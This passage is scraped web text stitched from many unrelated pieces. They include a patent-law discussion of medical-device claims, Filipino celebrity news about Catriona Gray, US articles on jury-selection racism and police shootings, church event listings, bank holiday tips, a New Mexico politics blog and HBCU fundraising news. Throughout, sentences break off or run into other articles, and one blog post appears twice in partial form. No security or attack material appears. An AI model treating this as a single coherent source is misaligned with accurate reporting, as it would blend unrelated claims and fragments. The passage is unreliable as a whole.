effect. A biodegradable material, for example, removed the need for surgical removal of the material. It can also be noted that producing and demonstrating the effects of a material that is suitable for injection, is non-toxic, biodegrades and has advantageous therapeutic properties, is not a trivial task.However, the TBA noted however that biodegradability and biocompatibility were typical device features. They reasoned that "[i]f these effects were to be taken into account as prophylactic effects of the material,, contrary to the wording of the EPC". The TBA therefore agreed with the Opposition Division that the claim was not novel.The view of the TBA inregarding the definition in Articles 54(4) and 54(5) EPC of "substance or composition", can therefore be summarized as a product that achieves a direct therapeutic effect by a chemical, as opposed to physical, interaction with the body.But is the distinction between physical and chemical modes of action, a distinction without a difference? Is there a distinction in terms of the social and ethical considerations for patentability (i.e. the purported justification of the second medical use claim)? Consider, for example, the case of magneticWhilst the process for regulatory approval of medical devices is not as stringent as that for medicinal products, medical devices containing active ingredients still face significant regulatory requirements. However, it was recently confirmed by the CJEU that SPCs are also not available for medical devices ( Case C527/17 ).The SPC request inwas on the basis of Boston Scientific's patent EP (DE) 0681475. The original granted patent (appeal from the opposition pending), was granted with Swiss-form claims for the use of cytochalasins for the manufacture of a sustained release dosage form for preventing stenosis. According to Article 2 of the SPC Regulation (EC) 469/2009 , a product is only eligible for SPC protection if it has been approved in accordance with the Medicinal Products Directives 2001/83/EC (MPD). MPD defines a medicinal product as "[a]ny substance or combination of substances presented as having properties for treating or preventing disease in human beings" (Article 1(2)).Boston Scientific had obtained product approval for their coronary stent under the(MMD) but not under the MPD. The MDD defines a device as "". The CJEU ruled that an SPC cannot be granted for a device, even if the device comprises an active substance for which MPD approval has been obtained.In summary, there is currently a clear negative answer to the question of whether it is possible to patent a new medical use of a known device. However, the boundary between substance and device is not perhaps as clear cut as it may first appear. Inthe TBA reduced the distinction between substance and device to a difference between a physical and a chemical mode of action. However, the existence of second medical use claims is due to a recognition of the importance for society of inventions relating to methods of treatment. Second medical use claims thus reward the time and money spent in developing and bringing to market a product for a first and then further medical use. Given this background, should similar protection not also be afforded to any inventive medical treatment, regardless of whether it is reliant on the chemical or physical mode of action of a product?by Rose Hughes - Tyra Banks recently expressed her amazement towards Catriona Gray's performance in Miss Universe 2018 - She said that she's a fan of her stunning slow-mo twirl - The famous American model has once again given her thoughts about Filipinos and said that she's obsessing over Catriona's fierce slow-mo turn PAY ATTENTION: Click "See First" under the "Following" tab to see KAMI news on your News Feed Tyra Banks posted a photo of her with Catriona Gray on her Instagram account with a caption that says she's obsessing over Catriona's popular walk in Miss Universe 2018. It can be remembered that she has shown her admiration towards the newly crowned Miss Universe twice already. "I mean...Pinoy Power to the Max!!!" She said during Miss Universe preliminaries. When Catriona reacted to it, the well-known tv personality just responded "And OMG back at YOU! You did it! And that walk and confidence? I mean...NEXT LEVEL FIERCE!!! TyTy approves." Now that Catriona has started her reign, Tyra has a delighting post on her Instagram. "In case youre not over on twitter with me. I am still OBSESSING over that spin, that fierce walk, and @catriona_gray taking the crown at @missuniverse! Pinoy power to the FIERCEST LEVEL OF MAX!" She wrote. PAY ATTENTION: Using free basics app to access internet for free? Now you can read KAMI news there too. Use the search option to find us. Read KAMI news while saving your data! In a previous report by KAMI, Catriona Gray's backstage moment after being crowned as Miss Universe goes viral. Catriona Gray is a Filipino-Australian actress and model who was born on born January 6, 1994. She already joined and became a finalist in Miss World 2016 before winning the Miss Universe Philippines this year. Enjoyed reading our story? Download KAMI's news app on Google Play now and stay up-to-date with major Filipino news! In this animation video by KAMI, we show the story of a woman who adopted a baby boy. As he grew up, he became more rebellious and wanted to meet his biological mother. In the end, he learned an important lesson on who his real mother is on KAMI HumanMeter YouTube channel Source: Kami.com.ph - Filipina-Australian Catriona Gray bagged the Miss Universe 2018 crown - Her fellow Aussie, Miss Australia Francesca Hung, said that Catriona was her biggest threat in the competition - She also described what Catriona is like as a person PAY ATTENTION: Click "See First" under the "Following" tab to see KAMI news on your News Feed Filipina-Australian Catriona Gray won the Miss Universe 2018. One of her competitors, Miss Autralia Francesca Hung, opened up about her fellow Aussie. KAMI learned that the Aussie beauty queen spoke to the Australian program The Morning Show. According to Francesca, she considered Catriona as her biggest threat in the pageant. She also talked about Catriona as a person and as a beauty queen. Shes just like any other Aussie girl. She grew up in Australia, so she has the same sort of values and ideals. She was born for this role. She is a well brought-up pageant girl, so she is going to be an amazing spokesperson for Miss Universe, she commented. Francesca, along with Miss USA Sarah Rose Summers and Miss Colombia Valeria Morales, were bashed online after the three were seen in a video seemingly mocking contestants who had difficulty speaking in English. PAY ATTENTION: Using free basics app to access internet for free? Now you can read KAMI news there too. Use the search option to find us. Read KAMI news while saving your data! As reported earlier by KAMI, Catriona was crowned as the Miss Universe 2018. Catriona Gray is a Filipino-Australian actress and model who was born on born January 6, 1994. She already joined and became a finalist in Miss World 2016 before winning Miss Universe this year. POPULAR: Read more news about Catriona Gray Enjoyed reading our story? Download KAMI's news app on Google Play now and stay up-to-date with major Filipino news! Social Experiment: Do Manila Men Still Catcall? Anti-catcalling bill in the Philippines: should we support it and will it protect catcalling victims? on KAMI HumanMeter YouTube channel! Source: Kami.com.ph - Defense Secretary Delfin Lorenzana mentioned about Miss Universe Catriona Gray being a military reservist - Lorenzana said that he would be speaking with Gray about this - Catriona Gray has a background in martial arts PAY ATTENTION: Click "See First" under the "Following" tab to see KAMI news on your News Feed Defense Secretary Delfin Lorenzana is open to the possibility of having Miss Universe 2018 Catriona Gray as a military reservist in Armed Forces of the Philippines. KAMI learned that according to Lorenzana, he will be speaking with Gray about it. "Oo, reservist. Dapat Army siya ah. I'll talk to her kung gusto niyang mag-reservist," Lorenzana quipped. "That would be an honor to have her visit our camps here," Lorenzana stated. PAY ATTENTION: Using free basics app to access internet for free? Now you can read KAMI news there too. Use the search option to find us. Read KAMI news while saving your data! The reservist can be tapped by the AFP to be deployed to different places should there be any calamities and/or natural disasters. As reported by CNN Philippines, the AFP Reserve Command enlists potential reservists after going through different training like Military Orientation Training Course and the Basic Citizens Military Training. As previously reported by KAMI, Gray holds a black belt in Choi Kwang Do. The Miss Universe started training martial arts since he was 8 years old and got her black belt when she was 12. Catriona Gray is the fourth Filipina to ever win in the prestigious international beauty pageant, Miss Universe. POPULAR: Read more news about Catriona Gray! Enjoyed reading our story? Download KAMI's news app on Google Play now and stay up-to-date with major Filipino news! Social Experiment! A random man (played by our actor Roi) is asking people to help him with transportation money and seems like no one believes him or cares about his trouble. But then we met Tatay Kariton who counts every peso and he did a really touching thing. Be kind this Christmas and may this kindness return to you. on KAMI HumanMeter YouTube channel! Source: Kami.com.ph - Miss Universe 2018 Catriona Gray met with President Rodrigo Duterte - President Duterte gave a bouquet of orchids to Catriona Gray - Catriona is set to fly to New York where she will be staying for awhile PAY ATTENTION: Click "See First" under the "Following" tab to see KAMI news on your News Feed Miss Universe 2018 Catriona Gray met Philippine President Rodrigo Duterte to pay for a courtesy visit. KAMI learned that Gray and Duterte met at Villamor Air Base in Pasay City as reported by ABS-CBN News. Photos were sent by Presidential Spokesperson Salvador Panelo to the press. President Duterte was seen handing a bouquet of orchids to the Miss Universe. PAY ATTENTION: Using free basics app to access internet for free? Now you can read KAMI news there too. Use the search option to find us. Read KAMI news while saving your data! Grays visit in the Philippines will be cut short. She will be flying to New York on Thursday where she will stay during her reign as Miss Universe as reported by CNN Philippines. The official homecoming of Gray along with motorcade and some TV guesting has yet to be arranged. In a previous report by KAMI, that Gray flew back home in the Philippines last Wednesday by a private jet along with former Ilocos Sur governor Chavit Singson and his daughter Richelle who was one of the judges in Miss Universe 2018. POPULAR: Read more news about Catriona Gray! Enjoyed reading our story? Download KAMI's news app on Google Play now and stay up-to-date with major Filipino news! Social Experiment! A random man (played by our actor Roi) is asking people to help him with transportation money and seems like no one believes him or cares about his trouble. But then we met Tatay Kariton who counts every peso and he did a really touching thing. Be kind this Christmas and may this kindness return to you. on KAMI HumanMeter YouTube channel! Source: Kami.com.ph [Provisional Translation] On December 19, 2018, Prime Minister Shinzo Abe held a summit meeting and other events with H.E. Mr. Edgar Chagwa Lungu, President of the Republic of Zambia, at the Prime Ministers Office. The two leaders attended a salute and guard of honor ceremony, followed by a summit meeting. Afterwards, the leaders held a signing ceremony and a joint press announcement, and then issued a Joint Statement between Japan and the Republic of Zambia. About Me William Kelly I am a freelance writer, journalist and historian whose major interests are music and history, with a special emphasis on the assassination of President Kennedy. View my complete profile Blog Archive Applying Racial Bias During Jury Selection is an American Tradition One of the most pernicious forms of racial discrimination and injustice in the United States criminal justice system is the racially-motivated use of prosecutorial peremptory challenges during the jury selection process, said Dr. Benjamin F. Chavis, Jr., the president and CEO of the National Newspaper Publishers Association. Black Americans and other people of color are systematically removed from juries by prosecutors because of their race and skin color. I define this prosecutorial behavior as judicial preemptory racism, Chavis said. ADVERTISEMENT And, as one of the legendary Wilmington 10, Chavis has unique insight. In 1972, Chavis, who is an icon in the civil rights movement, and nine others were falsely accused and convicted of arson in Wilmington, North Carolina, after a white-owned grocery store was set ablaze during race riots that followed a police officers fatal shooting of a black teenager. Three of the states main witnesses later changed their testimony and, in 1980 eight years after their sentencing Chavis and the others were freed when the 4th U.S. Circuit Court of Appeals in Virginia threw out their convictions. In overturning the convictions, the Court noted that perjury and prosecutorial misconduct were factors in the original verdicts. Rev. Dr. William Barber, President of the North Carolina Chapter of the NAACP, and the founder of the Moral Mondays Movement, told reporters that notes taken by former Pender County prosecutor Jay Stroud showed that he lied to a judge to get a mistrial so he could pick another jury in the Wilmington case he then used a race-based strategy during jury selection. While the Wilmington 10 defendants were eventually exonerated, their case is just the exception and not the rule when it comes to addressing outcomes resulting from commonly practiced (and currently legal) race-based strategies associated with the use of peremptory challenges to strike jurors. For an individual defendant or anyone going to trial, who is on their particular jury and who is their particular judge is more important than who is on the Supreme Court, said Nora V. Demleitner, a Roy L. Steinheimer Jr. Professor of Law at Washington and Lee University School of Law in Virginia. ADVERTISEMENT Demleitners colleague and law professor, Ronald Wright, recently wrote an opinion column headlined: Yes, Jury Selection is as Racist as You Think, Now We Have Proof. Sadly, this research finding confirms what we feared. The jury of ones peers isnt real, Demleitner told NNPA Newswire. Racism, couched in neutral language, renders it impossible, she said. The only cure for replacing the veiled racism associated with colorblind [juror selection] practices is to remove the blinders, said Dr. Lorenzo Morris, a professor of Political Science at Howard University. The assertion that there is no substantial differential racial impact in jury selection, however well intended, has been largely discredited by research and diminished by detached observation, said Dr. Lorenzo Morris, a professor of Political Science at Howard University. Still, he said, the probable remedies are not easy to implement. Removing the blinders effectively means becoming somewhat color-conscious in the evaluation of jury selection practices, Morris said. Preemptive removal of jurors based on latent or disguised racial bias leaves telling trace elements in its impact that can be measured. One can look for the creation of judicial standards in the courtroom that would compel a second look at juror eliminations that substantially distort the demographic composition of the remaining jurors, making their composition much less like any typical group of their peers in the larger community, Morris continued. Once prosecutors have eliminated black jury prospects, fearing for example that they might be too sympathetic to the accused, there is no likely return to balanced perspectives by choosing from the remaining, and disproportionately white, prospects, Morris said. Its no wonder that the accused suffer greatly, as is obvious from their loss of not just their educations and careers, but they often become isolated from friends and sometimes family as well, said Cynthia P Garrett, the co-President of Families Advocating for Campus Equality or FACE, a group that fights for those wrongly accused of rape and sexual assault on college campuses. In the campus context we have seen over a thousand accused students mostly devastated, despondent and some suicidal. The majority admit to having considered suicide and a few have been successful, Garrett said. I found it both interesting, eye opening, and very sad that regarding her sons false accusation, a black mother told me Its just more of the same for us. I also was alarmed that the black caucus in Congress refused to get involved with the railroading of black and other minority students on campus, because they are aligned with the womens movement. These issues are not mutually exclusive, she said. What I see happening in the U.S today is the abandonment of men and mens issues in general, and black men and minorities in particular. Other countries like the UK and Australia have developed mens initiatives because they see how men and boys are falling behind at all levels of education. Meanwhile, the U.S has done absolutely nothing to resolve what is becoming a national crisis. The trials of the Wilmington 10, Bill Cosby and even George Zimmerman, are but a few examples that are leading many legal experts to question the use of racial peremptory challenges. In 2013, the potential biases of juries were writ large for some of us as we saw interviews with Juror B37 in the aftermath of George Zimmermans trial for killing the black teen, Trayvon Martin, a trial that was discussed prominently in the media, said Dr. Riche Richardson, a Public Voices and Mellon Diversity Fellow and associate professor of Africana Studies and Research Center at Cornell University. Her references to him as Georgie, along with her claims that she believed that his heart was in the right place, were a sobering and shocking indicator of how much the politics of race can shadow juries, Richardson said. Justice is often presumed to be blind, but many people know better. In this area, it will be increasingly important to do better. Scene from the 1957 film, 12 Angry Men, A hot, muggy New York City Twelve white-male jurors try to reach a verdict in a murder trial a case involving a Puerto Rican teenager from the slums who is accused of knifing his father to death. Eleven jurors agree that the defendant is guiltybut one man, believing the boy is innocent, sets out to convince the other jurors hes right by building a case for acquittal. Based on a television play by Reginald Rose. (YouTube) Call 2 Worship December 20 Truth and Love Christian Church plans A Christmas Miracle on Dec. 21, at 7:30 p.m., at 1129 E. Dominguez St., Suite B, in Carson, said Pastor Walter Tucker III. The program will feature music, songs and a short Christmas play. To learn more, call (310) 635-3550. Brookins-Kirkland AME Church sponsors a Christmas Program on Dec. 23, at 8 a.m., at 3719 W. Slauson Ave., in Los Angeles, said Pastor Mary S. Minor. The Christmas Day worship starts at 9 a.m. For information, call (323) 296-5610. ADVERTISEMENT West Angeles Church of God in Christ, led by COGIC Presiding Bishop Charles E. Blake, Sr., holds Christmas Sunday Worship on Dec. 23 at 10 a.m. (one service only); New Years service on Dec. 30 at 9:30 a.m., where Earvin Magic Johnson will speak; and Watch Night Service on Dec. 31, at 10 p.m., followed by the Afterglow Breakfast in the Crystal Room. Call (323) 733-8300 for details. Founders Church of Religious Science hosts Christmas Worship a Candlelight Service on Dec. 23, at 10 a.m., at 3281 West 6th St., in Los Angeles, said Dr. Arthur Chang, pastor. To learn more, call (213) 388-9733. Miracle Temple Church of God Pentecostal presents Christmas Sweater Sunday on Dec. 23, at 10 a.m., at 109 W. Buckhorn St., in Inglewood, said Bishop Johnny Young, pastor. On Dec. 25, at 8 a.m., a teleconference worship service will be held. To participate, call (641) 715-3836, access code 100061. New Years Eve Watch Service, featuring Minister Stevie Brown and Elder Artist Knox, is set for Dec. 31, at 10 p.m. For details, call (310) 419-7335. Grace United Methodist Church plans Jazz and Carols on Dec. 24, at 6 p.m., at 4112 W. Slauson Ave., in Los Angeles, said Pastor Cedric D. Bridgeforth. Performers include the BMCR/Ebony Prophets jazz quartet and multigenerational presentation of the birth of Christ. On Dec. 31, New Years Eve Watch service takes place at 12 p.m. To learn more, call (323) 294-6653. Delta Sigma Theta Sorority, Inc. Los Angeles Alumnae Chapter offers scholarship to qualified high school applicants in the Los Angeles area. The deadline is Feb. 2, 2019. For information and applications, visit dstlachapter.com. Ex-Chicago Officers Sentencing Date Set in McDonald Murder A judge has set a Jan. 18 sentencing date for a White former Chicago police officer convicted of murder in the shooting death of Black teenager Laquan McDonald. A jury in October found Jason VanDyke guilty of second-degree murder and 16 counts of aggravated battery for the 2014 shooting. Dashcam video showed VanDyke firing his weapon 16 times as the 17-year-old walked away from police while holding a knife. The video released in 2015 prompted protests and nationwide outrage. It also drew federal scrutiny of policing in the nations third-largest city. ADVERTISEMENT Second-degree murder usually carries a sentence of less than 20 years, especially for someone with no criminal history. Probation is also an option. Judge Vincent Gaughan on Friday also denied defense motions for an acquittal and a new trial. Family of Kenneka Jenkins Sues Rosemont Hotel Over Her Death in Freezer The mother of a woman who was found dead in a suburban Chicago hotel freezer is suing the hotel, its security company and the restaurant that may have been leasing the space where the 19-year-old was found. Kenneka Jenkins of Chicago was attending a party at the Crowne Plaza Hotel in Rosemont last year. Her body was found about 24 hours after family members contacted police and the hotel to report she was missing. Surveillance video showed Jenkins wandering alone through a kitchen area near the freezer. ADVERTISEMENT Relatives and friends questioned whether she was the victim of foul play, but police said her death from hypothermia was an accident. The lawsuit says the defendants were negligent because they didnt secure the walk-in freezer or conduct a proper search when Jenkins went missing. A hotel spokesperson wasnt immediately available to comment. FBI Database to Track Deadly Encounters with Police The federal government is launching a national database that will track when law enforcement officers use deadly force, providing more transparency about police shootings that have inflamed tensions in cities around the country. For years, the public has debated whether law enforcement have become too trigger-happy especially in dealing with African Americans and minorities but basic information about police shootings and use of force has been elusive. Its mainly been left to news organizations to fill the void by compiling their own databases to understand the problem, an effort that took on greater urgency in the wake of deadly police shootings of unarmed black men that gave rise to the Black Lives Matter movement. ADVERTISEMENT The FBI national database, announced recently and being launched in January, will catalog incidents in which a death or serious bodily injury occurs, or when officers discharge a firearm at or in the direction of someone. It also will track gender, age, ethnicity and other demographic information. There will be limitations, however, because police departments are not required to report their information to the national database. It strikes me as sort of crazy that in a modern, First World country that prioritizes democratic freedoms the way that the United States does, we dont have the basic information that we need to have to discuss a fairly important issue of officers taking civilians lives, said Seth Stoughton, an associate law professor at the University of South Carolina who has researched police use of force for years. There are an estimated 60 million encounters between officers and civilians every year. About 1,000 people are killed in altercations with police each year. Police estimate that less than 5 percent of arrests involve use of force. Law enforcement officials hope the database will help dispel the notion that fatal encounters and inappropriate use of force are rampant. The whole point of having a national database is so everyone can speak from a factual basis about whats really happening. Theres so much news today about police use of force and yet there has never been a factual, established database against which to compare, said Rick Myers, executive director of the Major Cities Chiefs Association. If you listen to the national narrative of the police use of force, youd think it was much higher than that. ADVERTISEMENT It will not be mandatory for agencies to report the information. A related FBI database that collects data on officers killed and assaulted shows that about 11,000 police agencies out of 18,000 nationwide provide information. Stoughton anticipates a similar number of agencies will provide information to the new database. The agencies most likely to provide the data, he said, will be larger and mid-sized agencies, many of them that already collect and disseminate information to the public on these encounters. It at least starts us down that road and its a road that we as a society that weve been reluctant to walk down before, Stoughton said. John Bostain, a former police officer in Virginia who now travels the country training law enforcement, said he hopes most agencies will participate. Hes concerned that some agencies may not be willing to participate or may not have the resources to provide the data to the FBI. The database will only be useful and reliable if agencies make a point of participating, he said. The national debate makes it especially imperative to participate, he said. Law enforcement was slow on the uptake. I dont think law enforcement realized we couldve gotten out front of this narrative, Bostain said. This article originally appeared in the Defender News Network. Financial Tips to Help Make Your Holidays Merry and Bright Its the holiday season one of the most joyful times of the year. But, due to abundant social gatherings, checking off year-end to-do lists and the exchanging of gifts, it can also create a set of financial stresses unique to this season that are less than merry. By December 1, most of us are already making our lists and checking them twice for the right decorations, candy, treats and presents for all our friends and family. If not properly planned for, the price tag of holiday cheer can take some of the fun out of the holidays. Fortunately, there are free, easily accessible financial tips that can set you up for success if you know where to look. Start with a Holiday Spending Budget A good place to begin is with a holiday spending budget. This will set the foundation for your overall holiday spending strategy. It should be more comprehensive than you might think, and even account for any gatherings or parties you intend to host or attend as well as all the gifts you intend to buy. ADVERTISEMENT Decide How Youre Paying There are pros and cons to shopping with a credit, debit, or store credit cards. Using a credit card offers some additional benefits such as helping you build a credit history or gain useful rewards like frequent flyer miles or cash rewards. However, using a credit card can also make it easy to go over your budget. In addition, it can result in having to face additional fees for late or partial payments. Direct spending with a debit card is a good way to stay accountable for each purchase you make, but you will also face overdraft fees if you withdraw more than whats in your account. On our Better Money Habits website there are free-to-view tips and videos to help you understand how these options work. Giving Money as a Gift Most gift-receivers are elated to find some extra spending money in their stocking. But, depending on who youre giving it to, there are different ways to do it. Young children might prefer you give it to them in cash. For young adults who are beginning to take charge of their own finances, a savings bond can help them jump-start their own savings account. Price Check with Your Phone If theres one experience I am sure we have all had at the holidays, its realizing that despite our best intentions, the perfect gift for someone, the one you just have to buy, is also the most expensive. If you find a gift thats over your budget, use your phone to see if you can find a better price elsewhere. Many stores will now gladly match another store or online shopping site right on the spot to keep the sale. Dont Let Grinches Spoil Your Holiday During the hectic holiday season, its especially important to always remember to keep your financial information safe from grinches who may try to take advantage and steal more than just your holiday cheer. ADVERTISEMENT Here are some simple, but smart things you can do to protect yourself: Sign up for alerts from you bank or credit card company to notify you when there is suspicious activity on your account. Never, ever give out bank account numbers, your birth date or social security number to just anyone who reaches out to you. No bank will ever email you to ask for personal or account details. If youre making a purchase using your credit card online, look for security-enabled website addresses that start with https (the extra s indicates that it is a secure website for your payment). Put Your Mobile Tools to Work Finally, your mobile tools can be your personal shopping and budgeting assistant during the holiday season. You can download your banks mobile app so that you can get a real-time look at your spending and stick to your budget. If youre a Bank of America customer, you can use Erica, our artificial intelligence (AI) virtual assistant, to search transactions, look up your account balances, and credit card bill reminders, so you never miss a payment. For all of us, the holidays are a time to reflect on the year and give thanks for what we have. But they also offer a good opportunity to look forward and think about our approach to financial planning so we can start the New Year on a strong financial footing. Bank of Americas purpose is to help make financial lives better. In my role, I work to help set our community up for success by helping people take charge of their finances and work toward their biggest priorities. One way we do this is by offering free Better Money Habits seminars in local communities weve done nearly 40 across Los Angeles this year alone, including at Taste of Soul, the Baldwin Hills Crenshaw Mall, for participants in the Anti-Recidivism Coalition (ARC) program, and for elementary school children at Barack Obama Charter School in South Central L.A., and Roosevelt Elementary in Compton. For more savings tips or information on future Better Money Habits seminars, you are invited to contact us anytime via email at [email protected], or visit us at https://bettermoneyhabits.bankofamerica.com. And on behalf of everyone at Bank of America in Los Angeles, I wish you the safest and happiest of holidays and a joyous New Year. Thursday, December 20, 2018 Photo Contest Settled: Ida Jo Cargo Made Her Mark, Plus: Join Us Tomorrow For A Special Christmas Presents For The Politicos Blog Ida Jo Cargo (1970) Please join us for a special Friday Christmas blog tomorrow and help us place under the blogging tree our presents for the politicos. Now on to today's entry. Our Wednesday photo contest stumped quite a few readers but a number of them were right on the mark and accurately named the striking photo as that of Ida Jo Cargo, New Mexico's first lady from 1967-70. She was married to Republican Governor David Cargo. Ida Jo was a feisty and independent woman in an era when political wives were expected to be more servile. As NM Deputy Historian Rob Martinez remarked in "Lonesome Dave and the Tiger of the North" for the fall 2018 (Cargo) seems to blame her for some of the episodes that presented challenges in his political life. (To him) Ida Jo appeared to lack the discipline, sacrifice, subordination, and silence required of the traditional politician's wife. She was only 25 when she became first lady, the youngest in state history. The mother of five, she was the only first lady to give birth while in office. She met Cargo in 1960 when he was a partner in an ABQ law firm and where she worked as a legal assistant. Six months later they were married. She was born into a prominent Belen family and Belen reader Jose Campos wrote of her photo: Joe, she was often described as the "Jackie Kennedy of New Mexico." (Former NM House Speaker) Raymond Sanchez remembers Cargo hanging out at Gil's Bakery in Belen (owned by Raymond's father) to see his future bride. What took her popularity down with the public was when Reis Lopez Tijerana's list of Alianza members came out and she was on it. Ida Jo (1968) The The Alianza staged the Gov. Cargo later told friends she signed up for the Alianza only to get rid of the person soliciting paid memberships, not because she was an adherent of the group. Historian Martinez and I looked up the church records of Ida Jo from Belen and found her given name was Josefina Adelaida Anaya. As first lady she opened the Governor's mansion to the public each Friday, continued her education at the College of Santa Fe and not surprisingly was often in demand as a model. NM political junkie Patrick Killen adds: Joe, she was also known as the Hispanic Jackie Kennedy. Hailing from Belen, Ida Jo was credited with bolstering Cargos crossover appeal to Hispanic Democratic voters and crucial to his subsequent election as Governor in 1966 and re-election in 1968. Today's photo of her wearing a pillbox hat certainly conjures up memories of Jackie. Reader Jim Maddox adds: Ida Jo no doubt was a big part of Dave Cargo being elected Governor. Campaigning in Northern New Mexico with his wife in a pickup truck was simple and masterful. Ida Jo and Cargo divorced in 1985. He Ida Jo Cargo earned her chapter in the never ending book of La Politica as a history making first lady and an independent spirit who was of her time but also ahead of it in important ways. Thanks to all who entered the contest. The winner of the Christmas Lunch is James Cooke of ABQ. ABOUT THE PHOTOS The picture with Ida Jo in sunglasses was taken by Bralley in 1968 at ABQ's Roosevelt Park where Cargo was campaigning for the GOP gubernatorial nomination that year. Good stuff, Mark. This is the home of New Mexico politics. Interested in reaching New Mexico's most informed audience? Advertise here. ( c)NM POLITICS WITH JOE MONAHAN 2018 Please join us for aand help us place under the blogging tree our presents for the politicos. Now on to today's entry.Our Wednesday photo contest stumped quite a few readers but a number of them were right on the mark and accurately named the striking photo as that of Ida Jo Cargo, New Mexico's first lady from 1967-70. She was married to Republican Governor David Cargo.Ida Jo was a feisty and independent woman in an era when political wives were expected to be more servile. As NM Deputy Historian Rob Martinez remarked in "Lonesome Dave and the Tiger of the North" for the fall 2018 NM Historical Review She was only 25 when she became first lady, the youngest in state history. The mother of five, she was the only first lady to give birth while in office. She met Cargo in 1960 when he was a partner in an ABQ law firm and where she worked as a legal assistant. Six months later they were married.She was born into a prominent Belen family and Belen reader Jose Campos wrote of her photo:The Alianza was a group that sought "to organize and acquaint the heirs of all Spanish land-grants covered by the Guadalupe Hidalgo Treaty" with their rights.The Alianza staged the historic raid on the Tierra Amarilla Courthouse in Rio Arriba County in 1967. When a list of dues paying members was discovered by law enforcement Ida Jo's name was on it. She was soon portrayed as a wild-eyed revolutionary while her Governor husband continued to deal with the thorny problems presented by the Alianza and Tijerana, the "Tiger of the North."Gov. Cargo later told friends she signed up for the Alianza only to get rid of the person soliciting paid memberships, not because she was an adherent of the group.Historian Martinez and I looked up the church records of Ida Jo from Belen and found her given name was Josefina Adelaida Anaya.As first lady she opened the Governor's mansion to the public each Friday, continued her education at the College of Santa Fe and not surprisingly was often in demand as a model. NM political junkie Patrick Killen adds:Today's photo of her wearing a pillbox hat certainly conjures up memories of Jackie.Reader Jim Maddox adds:Ida Jo and Cargo divorced in 1985. He passed away at 84 in 2013. She died in Midland TX. in 1996 from cancer at 55.Ida Jo Cargo earned her chapter in the never ending book of La Politica as a history making first lady and an independent spirit who was of her time but also ahead of it in important ways.Thanks to all who entered the contest. The winner of the Christmas Lunch is James Cooke of ABQ.The contest picture was taken by veteran NM photographer Mark Bralley who tells us he shot it at a 1970 Santa Fe meeting of Republican Governors and their wives.The picture with Ida Jo in sunglasses was taken by Bralley in 1968 at ABQ's Roosevelt Park where Cargo was campaigning for the GOP gubernatorial nomination that year. Good stuff, Mark.This is the home of New Mexico politics. E-mail your news and comments. (jmonahan@ix.netcom.com) Links HOME E-MAIL ME About Joe Google News Real Clear Politics Huffington Post Drudge Report The Politico NM TV stations Gov. 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Last fiscal year, Spelman College in Atlanta raised a record $48 million in donations, The Atlanta Journal-Constitution reported. Thats more than triple the prior years total of $14.5 million. Spelman recently announced that it received its largest single gift from living donors, trustee Ronda Stryker and her husband, William Johnston: $30 million ADVERTISEMENT Other schools, such as Morehouse College, have seen similar upticks in giving. Morehouse reported that it raised about $3 million at its annual gala this year, surpassing the $1 million raised last year. At Morehouse School of Medicine, the number of million-dollar donations rose from one, between fiscal years 2011-14, to nine, between 2015-18, the Atlanta newspaper reported. Clark Atlanta University and Paine College each received its first million-dollar check this year. The nations historically Black colleges and universities have seen a rise in giving, from individual contributions by alumnae to celebrities like Beyonce giving scholarships to students and signing big checks. Private giving to the nations 101 accredited historically Black colleges and universities increased about 21 percent in the two most recent years of available information, from $265.2 million to $320.6 million, according to federal data. ADVERTISEMENT The total, though, is a fraction of giving to all American colleges and universities, which totaled $43.6 billion in 2017, according to an annual study by the Council for Advancement and Support of Education. Historically Black colleges and universities received an average of about $1,100 per student in 2016. By contrast, Emory University, Georgias largest private university, received an average of about $42,000 per student in gifts in 2017. School leaders, graduates and students say the increased philanthropic interest stems from a variety of factors. More donors are interested in supporting HBCUs amid national conversations about racially-charged issues such as deadly police encounters with African Americans. Also, the schools are becoming more adept at fundraising, with many using social media and other methods to engage potential donors. Also, the troubles faced by some of the schools have prompted responses by alumni and supporters to give, said Michael Thurmond, Paine Colleges board chairman-elect. Its stimulated a response to supporters to engage and becoming more active, said Thurmond, DeKalb Countys chief executive officer. NAACP President Johnson Travels to Ghana in Support of Upcoming Year of Return Ghana 2019 Web video link: Last week, NAACP president Derrick Johnson traveled to Ghana to meet with vice president Dr. Mahamudu Bawumia in support of the upcoming Year of Return Ghana 2019 project, a year-long journey to celebrate the reconnecting of Africans throughout the Diaspora to their African heritage. In addition to meeting with officials and leaders, president Johnson also met with officials from the Ministries of Tourism, Tourism Authority and the Diaspora Affairs Office to discuss ways to reconnect greater numbers of African Americans to their roots in Ghana. ADVERTISEMENT Next year symbolizes a moment in time where people of African descent, regardless of where they exist within our diaspora can reconnect and map out a future which establishes Africa and her descendants in their rightful place on the world stage, said NAACP president Johnson. The yearlong event will commemorate the 400th year of the first arrival of enslaved Africans in Port Comfort/Hampton, Virginia. Launched in August 2018, by Ghanaian President Nana Addo Dankwa Akufo-Addo, Year of Return Ghana 2019will feature a number of activities, including a Bra Fie Concert to be hosted by Damian Marley, son of Bob Marley; a Back to Africa Festival to celebrate Black History Month, and a Homecoming and Investment Summit. Most importantly, this event hopes to promote business, spiritual and cultural reconnection between the African Diaspora and the Motherland, which many considered damaged beyond repair due to the Maafa a Kiswahili term denoting great disaster or horrific occurrence and used to describe the Atlantic Slave Trade, where millions of Africans were enslaved and transported across the ocean or died during the horrific Middle Passage. Schools Fail Black Students, Why Are We Silent? (The mission of the Black Community, Clergy and Labor Alliance (BCCLA) is to develop a Black united front, which has not happened on a broad or sustained manner since the civil rights era. BCCLAs Education Committee met with former LAUSD Superintendent Michelle King to help ensure Black students receive the attention and resources necessary for developing their full potential.) In a previous column, Schools Fail Black Students, So Why Are We Silent? (Nov. 2008), I described barriers in LAUSD that contributed to a failure of the district to properly educate Black students. Substantially, those same barriers exist today. They underscored, and continue to underscore, the necessity to unapologetically focus on the unique needs of African American students and to develop sustainable community partnerships with LAUSD-and other school districts- to do whatever is necessary to improve educational outcome for these students. Public schools fail to educate Black students. However, a prolonged silence of parents, educators, the education establishment and countless others serve to perpetuate such failure. Abject negligence by urban school districts, including Los Angeles Unified School District (LAUSD), virtually guarantees the Black students needs will not be met. The African American Learner Initiative (AALI) provided a ray of hope and was a notable exception because it focused exclusively on LAUSDs Black students. However, out of the publics eye, AALI morphed into an Action Plan for A Culturally Relevant and Responsive Education that Benefits Black Students and All Other Students. Even this watered-down substitute for the AALI is not a districtwide mandate; implementation rests chiefly with each local school principal. The needed metamorphosis from AALI to A Culturally Relevant and Responsive Education that Benefits African Students and All Other Students was an example of the districts refusal to focus on the specific needs of Black students. Every program ostensibly designed to address Black students needs has been inadequately funded and 